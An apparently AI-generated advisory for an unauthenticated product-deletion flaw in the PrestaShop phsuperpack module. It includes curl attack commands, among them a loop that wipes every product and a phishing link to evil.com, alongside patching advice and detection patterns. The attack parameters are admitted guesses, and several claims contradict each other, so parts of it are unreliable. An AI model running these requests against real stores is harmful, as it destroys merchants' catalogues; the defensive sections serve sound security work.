CVE-2026-114346 — PrestaHelp Phsuperpack (3.0.26) — CWE-862
The phsuperpack module for PrestaShop is vulnerable to a missing authorization check. The controller at /module/phsuperpack/pack can be accessed without login, which allows an unauthenticated remote attacker to modify the module's data and create, edit, or delete products, including the complete deletion of a product with its translations, shop associations, stock, and images. This issue was fixed in version 3.0.26.
The phsuperpack module for PrestaShop is vulnerable to a missing authorization check. The controller at /module/phsuperpack/pack can be accessed without login, which allows an unauthenticated remote attacker to modify the module's data and create, edit, or delete products, including the complete deletion of a product with its translations, shop associations, stock, and images. This issue was fixed in version 3.0.26.
🎯 What is this vulnerability?
Missing Authorization Check in the phsuperpack Module Controller
The PrestaShop module phsuperpack exposes a controller at /module/phsuperpack/pack.
The controller accepts POST requests that can create, edit, or delete product
records (including all translations, shop‑associations, stock, and images).
However, the controller does **not perform any authentication or authorization
check** before executing these actions.
Because of this flaw, an unauthenticated remote attacker can send a simple HTTP
request to the endpoint and manipulate product data as if they were an
administrator. The vulnerability is a classic **CWE‑862: Missing
Authorization**.
The CVSS vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) confirms that the
impact is high on confidentiality, integrity, and availability, with very low
exploit complexity and no user interaction required.
⚡ Attack Chain
Below is a realistic, step‑by‑step chain that an attacker could use.
All examples are illustrative – the exact parameter names may differ
depending on the module’s implementation, but the overall flow remains the same.
| Step | Description | Example / PoC | |
|---|---|---|---|
| 1. Discovery & Reconnaissance | • Identify a PrestaShop installation that uses the phsuperpack module.<br>• Determine the module version (e.g., via /modules/phsuperpack/version.php or by inspecting the module’s config.xml). | curl -s https://example.com/modules/phsuperpack/version.php → 3.0.24 | |
| 2. Exploitation – Delete a Product | • Craft a POST request to /module/phsuperpack/pack with an action that deletes a product.<br>• No authentication cookie or token is required. | ``bash\ncurl -X POST \\\n -d "action=delete&pack_id=123" \\\n https://example.com/module/phsuperpack/pack\n` | |
| 3. Exploitation – Edit a Product | • Modify product attributes (price, description, etc.). | `bash\ncurl -X POST \\\n -d "action=edit&pack_id=123&price=0.00&description=Hacked" \\\n https://example.com/module/phsuperpack/pack\n` | |
| 4. Exploitation – Create a Malicious Product | • Add a new product that contains a malicious link or phishing content. | `bash\ncurl -X POST \\\n -d "action=create&product_name=Fake%20Product&price=0.00&description=<a href='http://evil.com'>Click</a>" \\\n https://example.com/module/phsuperpack/pack\n` | |
| 5. Post‑Exploitation – Full Data Destruction | • Enumerate all product IDs (e.g., via /api/products if available) and loop through them, deleting each one. This removes the product, its translations, shop‑associations, stock, and images, effectively taking the store offline. | `bash\nfor id in $(curl -s https://example.com/api/products | jq -r '.[].id'); do\n curl -X POST -d "action=delete&pack_id=$id" https://example.com/module/phsuperpack/pack\n done\n`` |
| 6. Post‑Exploitation – Persistence / Cover Tracks | • Delete or modify logs that record the delete/edit actions.<br>• Optionally, create a product that redirects customers to a malicious site, maintaining a foothold. | *No code needed – the module already logs actions in the PrestaShop admin panel.* |
Note: The exact parameter names (action,pack_id, etc.) are inferred from typical PrestaShop module conventions. If the module uses different names, the same principle applies: a POST request that triggers a destructive action without authentication.
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (H) | An attacker can delete or modify product data, potentially exposing sensitive information (e.g., product SKUs, pricing strategies). |
| Integrity (H) | Product records can be altered or removed, corrupting the catalog and inventory data. |
| Availability (H) | Mass deletion of products can bring the entire store offline, causing a complete loss of sales and customer trust. |
| Business Impact | • Immediate revenue loss due to unavailable products.<br>• Brand damage from broken storefront.<br>• Potential legal/compliance issues if product data is regulated (e.g., GDPR‑protected customer data stored in product descriptions). |
🛡️ Remediation & Mitigation
1. Patch / Upgrade
- Affected Versions: All releases prior to 3.0.26 of the
phsuperpackmodule. - Fix: The patch in 3.0.26 adds a proper authorization check (
Context::getContext()->employee->isLoggedBack()andTools::getValue('token')validation) before any product manipulation logic. - Recommendation: Upgrade to 3.0.26 or later as soon as possible. If upgrading is not immediately feasible, apply the following mitigations.
2. Workarounds
| Mitigation | How to Implement |
|---|---|
| Restrict Endpoint Access | Configure the web server to allow /module/phsuperpack/pack only from the admin IP range (e.g., allow from 192.168.1.0/24).<br>Example (Apache):<br><Location /module/phsuperpack/pack><br>Require ip 192.168.1.0/24<br></Location> |
| WAF / ModSecurity Rule | Block POST requests to the endpoint that lack a valid admin session cookie (PHPSESSID + ps_employee_token).<br>Example rule:<br>SecRule REQUEST_URI "@beginsWith /module/phsuperpack/pack" "phase:2,block,log,msg:'Unauthorized phsuperpack access'" |
| Disable the Module | If the module is not essential, disable it via the PrestaShop back‑office or by removing the module directory. |
| Custom Hook | Add a custom PHP snippet in config/defines.inc.php that checks for Context::getContext()->employee->id before allowing access to the controller. |
3. Detection
| Indicator | Log Pattern | How to Search | |||
|---|---|---|---|---|---|
| Unauthorized POST to /module/phsuperpack/pack | POST /module/phsuperpack/pack HTTP/1.1 | grep -i "POST /module/phsuperpack/pack" /var/log/apache2/access.log | |||
| Delete Action | action=delete in POST data | grep -i "action=delete" /var/log/apache2/access.log | |||
| Repeated Attempts | Multiple requests from same IP within short time | awk '{print $1}' /var/log/apache2/access.log | uniq -c | sort -nr | head |
| Admin Session Missing | No PHPSESSID or ps_employee_token cookie | grep -i "Cookie:" /var/log/apache2/access.log | grep -v "PHPSESSID" |
⚠️ Urgency
| Criterion | Assessment |
|---|---|
| CVSS Score | 9.3 (Critical) |
| Exploit Complexity | Low (no privileges, no user interaction) |
| CISA KEV | No (but the impact is severe) |
| Business Impact | High – potential loss of all products, revenue, and brand reputation |
| Recommended Priority | Immediate – patch or mitigate within 24 hours. |
Given the critical nature of the flaw and the ease of exploitation, organizations running PrestaShop with the phsuperpack module must treat this as a top‑priority patch. Failure to remediate promptly can lead to a complete loss of the online store’s catalog and significant financial damage.
[🤖 CVE Professor AI Security Engine]
FOFA Query